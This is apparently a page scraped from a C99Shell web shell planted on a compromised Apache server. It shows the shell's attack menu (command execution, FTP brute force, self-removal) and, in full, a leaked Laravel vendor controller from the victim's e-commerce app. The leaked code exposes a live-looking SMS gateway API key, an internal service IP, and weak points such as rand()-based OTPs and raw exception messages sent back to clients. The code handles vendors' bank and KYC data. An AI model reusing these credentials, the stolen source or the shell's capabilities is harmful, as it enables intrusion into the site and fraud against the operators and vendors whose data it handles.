!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/jiff/app/Http/Controllers/   drwxr-xr-x
Free 13.26 GB of 57.97 GB (22.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     VendorController.php (14.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
App\Models\Vendor;
use 
App\Models\BankInfo;
use 
App\Models\StoreSettings;
use 
App\Models\KycData;
use 
App\Models\VendorDelete;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Validator;
use 
Illuminate\Support\Facades\Hash;

use 
GuzzleHttp\Client;
use 
DateTime;

use 
App\Helpers\CloudflareAPIHelper;
use 
App\Helpers\NotificationHelper;

class 
VendorController extends Controller
{
    
/**
     * Create a new controller instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
//
    
}
    
// get Vendor
    
function index()
    {   

        
// if (count($req->query())===0) {
        //     $categories=Categories::with('sub_Categories')->where("vendor_id",$vendor_id)->where("parent",0)->get();
        //     return response()->json(["data"=>$categories]);
        //     // return json_encode($categories)
        // }else{
        //     $pr= new Categories;
        //     $table = $pr->getTable();
    
        //     $columns  = \Schema::getColumnListing($table);
        //     $categories = Categories::query();
        //     $params = $req->query();
        //     foreach ($params as $key => $value) {
        //         if (in_array($key,$columns,true)) {
        //             if (!empty($value) || $value==0){
        //                 $categories->where($key,$value);
        //             }
        //         }else{
        //             return response()->json(['error' => 'true', 'message' =>"invalid parameter ".$key]);
        //         }
        //     }
        //     $categories=$categories->with('sub_Categories')->where("vendor_id",$vendor_id)->where("parent",0)->get();
        //     return response()->json(["data"=>$categories]); 
        // }
        
return response()->json(["message"=>"Not Allowed"],403);

    }
    public function 
phoneNumber(Request $req) {
        
$phone=$req->input('phone');
        
$val="/(^(\+8801|8801|01|008801))[1|3-9]{1}(\d){8}$/";
        if(
preg_match($val,$phone)){
            
$data=Vendor::where("phone",$phone)->where('delete_request',0)->get();
            if (
count($data)>0) {
                if (
$data[0]->active==0) {
                    return 
response()->json(["error"=>"true","message"=>"Phone number is already used. Please try with different phone number"],400);
                }else {
                    return 
response()->json(["error"=>"true","message"=>"Phone number is already used. Please try with different phone number"],400);
                }
            }else {
                return 
response()->json(["message"=>"Success"]);
            }
        }else{
            return 
response()->json(['error' => 'true''message' =>"Invalid phone Number"],400);
        }
    }
    function 
otpSend(Request $req) {

        
// if ($req->input("type")=="reset") {

        // }
        
if ($req->input("type")=="registration") {
            
$dt=Vendor::where('phone',$req->input('phone'))->where('delete_request''!=',2)->first();
            if (
$dt) {
                return 
response()->json(['error' => 'true''message' =>"Phone number is already used. Please try with different phone number"],400);
            }
        }else {
            
$data=Vendor::where("phone",$req->input('phone'))->where('active',1)->first();
            if (!
$data) {
                return 
response()->json(["error"=>"true""message"=>"Phone Number Not Exist"],400);
            }
        }
        
// Storing a value in the KV store
        
$cloudflareAPI = new CloudflareAPIHelper();
        
$namespaceId env('VENDOR_OTP_NAMESPACE'); // Replace with your Cloudflare Workers KV namespace ID
        
$key strval($req->input('phone'));
        
// $value = ["444785" => date('d-m-Y H:i', strtotime("+5 min"))]; // JSON payload
        
$a rand(100000,900000);   
        
$a strval($a);
        
$client = new Client();
        
$res $client->request('GET'"https://smsc.cdrlink.xyz/cloudsms_v1/api/sms?api_key=xkdoFNkd1UqIfGbzFfmaShnksCoTcCQuwDx8DxkfH3EOeBrm&source_addr=jiff&destination_addr=".$key."&message=".$a);
        if (
$res->getStatusCode()==200) {
            
$cloudflareAPI->put($namespaceId$key$a);
            return 
response()->json(["message"=>"An OTP is sent to your mobile number"]);
        }else {
            
// return response()->json(["error"=>"true", "message"=>"Something Is wrong, please try again"],$res);
            
return response()->json(["error"=>"true""message"=>json_decode($res->getBody()->getContents())],500);
        }
    }
    function 
matchOtp(Request $req){
        try {
            
$cloudflareAPI = new CloudflareAPIHelper();
            
$namespaceId env('VENDOR_OTP_NAMESPACE'); // Replace with your Cloudflare Workers KV namespace ID
            
$key=$req->input('phone');
            
// Retrieving a value from the KV store
            
$value $cloudflareAPI->get($namespaceId$key);
            if (
$value==$req->input('otp')) {
                
$deleted $cloudflareAPI->delete($namespaceId$key);
                return 
response()->json(["message"=>"matched"]);
            }else{
                return 
response()->json(['error'=>'true',"message"=>"OTP not matched"],400);
            }
        }catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    
//create new vendor
    
public function create(Request $req)
    {
        try {
            
$validator Validator::make($req->all(), [
                
'first_name' => 'required|string|between:2,50',
                
'last_name' => 'required|string|between:2,50',
                
// 'email' => 'required|string|email|max:100',
                
'phone' => 'required|string',
                
'password' => 'required|string|between:8,32',
                
'store_name' => 'required|string|between:2,120',
                
'address' => 'required|string|between:2,160',
                
'district' => 'required',

            ]);
            if (
$validator->fails()==true) {
                return 
response()->json(['error'=>'true',"message"=>$validator->errors()->all()],402);
            }
            
$phone=$req->input('phone');
            
$val="/(^(\+8801|8801|01|008801))[1|3-9]{1}(\d){8}$/";
            if(
preg_match($val,$phone)){
                
$phone =substr($phone,-11);
            }else{
                return 
response()->json(['error' => 'true''message' =>"Invalid phone Number"],400);
            }
            
$dt=Vendor::where('phone','LIKE','%'.$phone)->where('delete_request',0)->first();
            if (
$dt) {
                return 
response()->json(['error' => 'true''message' =>"Phone number is already used. Please try with different phone number"],400);
            }
            
DB::beginTransaction();
            
$vendor= new Vendor;
            
// $vendor->id=88000003;
            
$vendor->first_name $req->input('first_name');
            
$vendor->last_name $req->input('last_name');
            
$vendor->phone $req->input('phone');
            
$vendor->email $req->input('email');
            
$vendor->password Hash::make($req->input('password'));
            
$vendor->active 1;
            
$vendor->save();
        } catch (
\Exception $exception) {
            
DB::rollback();
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
        if (
$vendor) {
            try {
                
$store_settings StoreSettings::create([
                    
'store_name' => $req->input('store_name'),
                    
'district' => $req->input('district'),
                    
'address' => $req->input('address'),
                    
'image_folder'=>str_replace(" ","_"$req->input('first_name'))."_".$vendor->id,
                    
'vendor_id' =>$vendor->id,
                ]);
            } catch (
\Exception $exception) {
                
DB::rollback();
                return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
            }
            
DB::commit();
            
$d = new DateTime();
            
$t=$d->format("ymdHisv");
            
$data=["vendor_id"=>$vendor->id,"_id"=>$t,"store_id"=>$store_settings->id,'image_folder'=>str_replace(" ","_"$req->input('first_name'))."_".$vendor->id];
            
$req_data = [
                
'id' => strval($vendor->id),
                
'name' => $req->input('first_name')." ".$req->input('last_name'),
                
'phone' => strval$req->input('phone')),
                
'store_name' => $req->input('store_name')
            ];
            
// $this->createVendor($req_data,$vendor->id);
            
return  response()->json(['message' => "Vendor Created Successfully","data"=> $data]);
            
        } else {
            
DB::rollback();
            return 
response()->json(['error' => 'true','message' => "Vendor Not created"],500);
        }
    }
    function 
createVendor($req_data,$vendor_id) {
        
$client = new Client();
        
$res $client->request('POST''http://157.245.155.94:3039/create-vendor',[
            
'json' => $req_data
        
]);
        if (
$res->getStatusCode()==200) {
            
$vendor=Vendor::find($vendor_id);
            
$vendor->is_synced1;
            
$ven=$vendor->save();
        }
    }
    public function 
KycData(Request $req)
    {
        try {
            
$vendor_id=auth()->user()->id;
            
$kyc=KycData::updateOrCreate([
                
'vendor_id'=>$vendor_id
                
],
                [
                
'front'=>$req->input('front'),
                
'back'=>$req->input('back'),
                
'vendor_id'=>$vendor_id,//Auth::user()->id;
                
'face'=>$req->input('face'),
                
'signature'=>$req->input('signature'),
                
'type'=>$req->input('type'),
            ]);
            
Vendor::find($vendor_id)->update([
                
"verified" => 1
            
]);
            return 
response()->json(['message' =>"Success"]);
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    public function 
profilePicture(Request $req)
    {
        try {
            
$vendor_id=auth()->user()->id;
            
$data=Vendor::where('id',$vendor_id)->update([
                
'image'=>$req->input('profile')
            ]);
            return 
response()->json(['message' =>"Success"]);
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    
// update vendor
    
public function update(Request $req)
    {   
        try{
            
$vendor_id=auth()->user()->id;
            
$vendor Vendor::where('id',$vendor_id)->first();
            if (empty(
$vendor)) {
                return 
response()->json(['error' => 'true''message' =>"Invalid vendor"],401);
            }else{
                
$validator Validator::make($req->all(), [
                    
'first_name' => 'required|string|between:2,50',
                    
'last_name' => 'required|string|between:2,50',
                    
'email' => 'nullable|email|string|between:10,120'

                
]);
                if (
$validator->fails()==true) {
                    return 
response()->json(['error'=>'true',"message"=>$validator->errors()->all()],402);
                }
                
$vendor->first_name $req->input('first_name');
                
$vendor->last_name $req->input('last_name');
                
// $vendor->phone = $req->input('phone');
                
$vendor->email $req->input('email');
                
$ven=$vendor->save();

                if (
$ven) {
                    
$notification=new NotificationHelper();
                    
$notification->send('/profile',["json"=>['vendor_id' => auth()->user()['id']]]);
                    
// try {
                    //     $client = new Client([
                    //         'auth' => [env('NOTIFICATION_USER'), env('NOTIFICATION_PASSWORD')]
                    //     ]);
                    //     $res= $client->request('POST', env('NOTIFICATION_URL').'/profile',["json"=>['vendor_id' => auth()->user()['id']]]);
                    // } catch (\Throwable $th) {
                    // }
                    
return response()->json(['message' => "Success"]);
                }else {
                    return 
response()->json(['error' => 'true''message' => "Vendor Profile not updated"],500);
                }
            }
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    
// delete categories
    
public function deleteUser(Request $req)
    {   
        try{
            
$vendor_id=auth()->user()->id;
            
VendorDelete::updateOrCreate([
                
'vendor_id'=>$vendor_id
                
],
                [
                
'type'=>$req->input('type')
            ]);
            
Vendor::find($vendor_id)->update([
                
"delete_request" => ($req->input('type'))==10
            
]);
            return  
response()->json(['message' => "Success"]);
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
    public function 
bankInfo(Request $req)
    {
        try {
            
$vendor_id=auth()->user()->id;
            
$validator Validator::make($req->all(), [
                
'acc_name' => 'required|string|between:3,100',
                
'acc_no' => 'required|string|between:2,50',
                
'bank_code' => 'required',
                
'bank_name' => 'required|string|between:5,100',
                
'district' => 'required|string|between:2,50',
                
'routing_no' => 'required|between:2,50',
            ]);
            if (
$validator->fails()==true) {
                return 
response()->json(['error'=>'true',"message"=>$validator->errors()->all()],402);
            }
            
$bank_info BankInfo::create([
                
"acc_name"=>$req->input("acc_name"),
                
"acc_no"=>$req->input("acc_no"),
                
"vendor_id"=>$vendor_id,
                
"bank_code"=>$req->input("bank_code"),
                
"bank_name"=>$req->input("bank_name"),
                
"branch_name"=>$req->input("branch_name"),
                
"district"=>$req->input("district"),
                
"routing_no"=>$req->input("routing_no")
            ]);
            
$d = new DateTime();
            
$t=$d->format("ymdHisv");
            
$data=["_id"=>$t,"id"=>$bank_info->id];
            return  
response()->json(['message' => "Success","data"=> $data]);
        } catch (
\Exception $exception) {
            return 
response()->json(['error' => 'true''message' =>$exception->getMessage()],500);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0079 ]--